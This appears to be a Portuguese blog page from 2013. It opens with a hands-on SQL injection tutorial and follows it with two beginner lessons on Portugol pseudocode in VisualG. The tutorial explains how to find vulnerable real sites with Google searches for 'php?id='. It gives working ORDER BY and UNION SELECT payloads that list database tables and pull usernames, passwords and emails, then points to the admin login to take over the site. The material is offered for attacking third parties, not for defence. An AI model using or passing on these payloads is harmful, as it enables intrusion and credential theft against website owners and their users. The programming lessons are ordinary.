30/01/2013

SQL Injection

Um pequeno tutorial feito por mim mesmo, vou usar como base os meus conhecimentos que obtive até aqui, para começar vamos ter que achar algum site vulnerável, e como vamos fazer isso? bem como uma invasão em PHP é um método antigo, então muitos sites já conseguem se proteger tranquilamente contra esses códigos, não estou dizendo que não existam mais sites desprotegidos pelo contrario ainda existem vários, tudo é uma questão de paciência e determinação. bom vamos aos código

A String que mais utilizo é a:
----------
php?id=
----------
O que faço com isso? bom, pegue esse pequeno código e cole no navegador do Google, ira lhe aparecer vários sites terminados em php?id=234 (esse número não é relevante, pode ser qualquer numero) bom após ter escolhido seu site aqui no caso iremos utilizar o alvo.com.br vamos aos códigos

primeira coisa é colocar um ( ' ) no final do código ficando assim:
http://alvo.com.br/conteudo.php?id=234'
se o site for vulnerável ele irá te dar um erro, não se preocupe é isso que queremos, explorar o erro da página, depois que descobriu que a pagina realmente está desprotegida, apague o ( ' ) e adicione o seguinte "order by 10" sem aspas ficando assim:
http://alvo.com.br/php?id=234 order by 10
e vai diminuindo para descobrir quantas colunas existem nessa página
http://alvo.com.br/php?id=234 order by 9
http://alvo.com.br/php?id=234 order by 8
http://alvo.com.br/php?id=234 order by 7
http://alvo.com.br/php?id=234 order by 6
pronto, a postagem que antes avia sumido apareceu, quando coloquei "6" no final e a postagem apareceu isso significa que esta pagina possui 6 colunas, tá mais o que isso tem de importante? tudo meu amigo, basicamente tudo. preste bastante atenção agora.
http://alvo.com.br/php?id=-234 union all select 1,2,3,4,5,6--
esse código permite que eu una todas as colunas em uma só, preste bem atenção pois, não sei se repararam mais eu adicionei ( - ) na frente do 234, isso é de suma importância. digamos que assim ficou:
http://alvo.com.br/php?id=-234 union all select 1,2,3,4,5,6--
---------------
     3
por 4,5
     2
---------------
os números representados acima, significam as colunas disponíveis para a injeção SQL. agora vem mais códigos, o que vamos fazer agora?, vamos substituir as colunas disponíveis por códigos, ficando assim:
---------
http://alvo.com.br/php?id=-234 union all select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()--
---------

reparem que substitui o "2" pelos códigos

esse código irá se oferecer, todos os dados, do banco de dados deles, por exemplo, apareceu o seguinte, 

---------------
     3
por 4,5
     tb_acessorios,tb_usuarios,tb_menu,tb_fuckyou.... entre outros, 
---------------

o que realmente interessa é o "TB_USUARIOS", o que vamos fazer agora?, iremos substituir novamente os código, já que temos o nome que necessitamos, o código que antes era assim:
--------
http://alvo.com.br/php?id=-234 union all select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()--
--------
ficou assim
--------
http://alvo.com.br/php?id=-234 union all select 1,nome,senha,e-mail,5,6 from tb_usuarios--
--------

nos números irá aparecer assim:

---------------
     adm123
por admin@zcool.blogspot.com,5
     Adiministrador@zcool.blogspot.com

---------------
(Acredito que todos repararam, que os códigos modificados, no navegador, são alterados em baixo, se você não percebeu sugiro que saia da página agora, e não volte nunca mais, pois digitar isso foi cansativo)

bom você tem o nome, a senha, e o e-mail, o que fazer agora? bom todos os site possuem um página especial para o Admin, a maioria fica nesse endereço:

---------------
alvo.com.br/login

agora só fazer a festa, qualquer dúvida poste nos comentários, ou deixe o e-mail que entrarei em contato.



Aprenda a Programar #5


Retrospectiva do último episódio post…

Foi visto no post/tutorial anterior, declaração de variáveis, como escrever uma mensagem ao usuário, e inserção de dados a partir de interação com o leitor, como no exemplo abaixo:
algoritmo “exemplo”
var
empresa: caractere
inicio
escreva(“Que empresa oferece hospedagem de sites pelo melhor custo/benefício? “)
leia(empresa)
escreva(“Você digitou: “,empresa)
fimalgoritmo

e se por acaso, eu precisar atribuir um valor á uma variável sem a interação do leitor Bruno?

Veremos agora, logo abaixo…

Atribuição…

Utilizaremos este símbolo/sinal/setinha…, para atribuir um valor a uma variável: <-
Exemplo:
numero <- 10
id <- 18

e também, podemos atribuir a uma variável, o valor de outra variável.

Não entendi nada…

Por exemplo, eu tenho a variável x, que possui o valor 20, e também a variável id, que pode conter, ou não algum valor.
A questão é que eu quero atribuir a variável id, o valor da variável x
como seria?
simples…
id <- x

Resumindo…

Para atribuir um valor qualquer a uma variável, basta digitar o nome da variável, seguida de uma seta para esquerda, seguido do valor que você quer que ela tenha…

Bruno, entendi essa parte, mas quero fazer mais do que escrever e ler dados em meu algoritmo…

Ok, vocês é quem mandam!
Nem tudo na vida, é sequencial, ou seja, é possível resolver apenas de uma maneira. As vezes, é preciso haver condições para executar determinada tarefa, assim como efetuar operações matemáticas, e outros…
Nesse caso, utilizaremos operações matemáticas, condicionais, laços de repetições, etc.
Não se assustem, veremos cada um passo-a-passo, não é difícil!
A princípio, neste post, ficaremos apenas nos operadores aritméticos, e vermos o restante a partir da próxima terça-feira….

Operadores aritméticos…

Para se realizar cálculos com variáveis, ou números definidos pelo programador, utilizaremos alguns sinais já bastante conhecidos por todos vocês:
Para entender os operadores aritméticos, é importante ressaltar, antes de mais nada, que como estamos “ensinando” algo para o computador, não podemos e não temos como passar para ele do jeito que escrevemos…
Por exemplo, em uma fórmula matemática, teríamos que passar tudo para uma linha apenas. É o que chamamos de linearização.
Vocês irão entender melhor ao visualizar a imagem abaixo:

E de onde saiu todos esses parênteses e “símbolos”?

Calma galera, de uma olhada na tabela abaixo, dos operadores aritméticos, e ficará mais fácil o entendimento…

Cada um desses, serão explicados mais detalhadamente a medida em que iremos utilizando-os…

Crédito: Algoritmizando

29/01/2013

Aprenda a Programar #4

Hoje, iremos nos aprofundar um pouco mais na pseudo-linguagem portugol, e a partir de agora será necessário para um melhor acompanhamento, que todos já tenham o VisualG instalado na máquina.

Então vamos ao que interessa!

Estrutura do portugol…

Todo e qualquer algoritmo, terá sempre um Nome, Declaração de variáveis, Início e Fim. Na estrutura abaixo:

Algoritmo “nome-do-seu-algoritmo”

VAR
nome-da-var: tipo
nome-da-var2: tipo
INICIO
|
|
|
|
FIMALGORITMO

Ok, entendi o “Nome” “Início” e “Fim” mas…

O que é declaração de variáveis?

A declaração de variáveis, é uma parte obrigatória no portugol, assim como em outras linguagens de programação como C por exemplo.
Ela é necessária para que o interpretador entenda que aquela palavra é uma variável, além de ser útil em muitos casos, para que não dê um erro em seu programa futuramente devido a um erro de digitação, acusando de imediato onde está o erro.
Na estrutura do Portugol, dentro da seção VAR, declaramos a variável da seguinte maneira:
Nome-da-var: tipo
ex:
meunome: caractere
Ainda sobre a questão de variáveis, não vou entrar em muitos detalhes, pois as mesmas foram explicadas no post anterior.

Vamos então criar nosso primeiro programa…!

Na tela Inicial do VisualG, já temos a estrutura de nosso portugol pronta, como expliquei no início do post.
algoritmo “olá mundo”
var
inicio
escreva(“Olá Mundo!”)
fimalgoritmo

Não entendi nada! o que é esse “escreva“?

O escreva é uma palavra reservada do portugol, como expliquei no Aprenda a programar #3.
Sua função é escrever na tela o texto entre ” ” (aspas)
Se você está utilizando o visualg, ao digitar este código e apertar F9, o código será executado, e você verá que estará escrito na tela apenas a frase: Olá Mundo!

E porquê não nada no campo das variáveis?

Porque ainda não utilizamos nenhuma.
No código acima, como vocês podem ver, foi utilizado apenas um minúsculo pedaço do que podemos fazer em portugol.
No algoritmo a seguir, vamos fazer o uso da função leia() e de variáveis.
algoritmo “leianumero”
var
num: inteiro
inicio
escreva(“Digite um número: “)
leia(num)
escreva(“O número digitado é: “, num)
fimalgoritmo

Entendendo o algoritmo…

Foi declarado a variável num, como inteiro. Ou seja, poderá receber qualquer número não-fracionário (-2, -3, -20, 0, 1, 2, 40, 18…)
Em seguida, o algoritmo irá solicitar ao usuário que digite um número, escrevendo na tela a seguinte frase: Digite um número:
Se vocês notarem, há um espaço após os : e antes da “, isso é necessário para que o cursor dê o espaço desejado.
Como falei em um post anterior da série, o computador não é inteligente, ou seja, você tem que explicar tudo a ele, passo a passo.
o leia(num) irá aguardar com o cursor na tela até que o usuário digite um número inteiro e tecle enter.
O num é a variável que declaramos no início do algoritmo, lembram?
E finalmente, o resultado.
escreva(“O número digitado é: “, num)
É importante notar, que no escreva, tudo o que estiver entre aspas, vai ser tratado como um texto qualquer, então para retornarmos o conteúdo de uma variável, fechamos primeiro as aspas, colocamos uma vírgula e digitamos o nome da variável, para só então fechar o parenteses.
Testem o algoritmo acima no VisualG, e vejam o resultado.

Treinem mais um pouco…

Galera, que tal treinar mais um pouco…
  1. Crie um algoritmo que leia 2 números e mostrem o resultado.
  2. Crie um algoritmo que leia o nome e a idade de alguém, e mostre na tela o que foi digitado.
Dica: no exercício 2, terá que ser declarado duas variáveis, uma do tipo inteiro e outra do tipo caractere. Se houver dúvidas, de uma olhada no post anterior.
Depois de criar o algoritmo, entrem na filosofia do Software Livre, compartilhe seu código conosco!
Porque não postar seu código nos comentários para ajudar quem tem dúvidas? Existem diversas maneiras de chegar a uma solução a partir de um algoritmo!

Crédito: Algoritmizando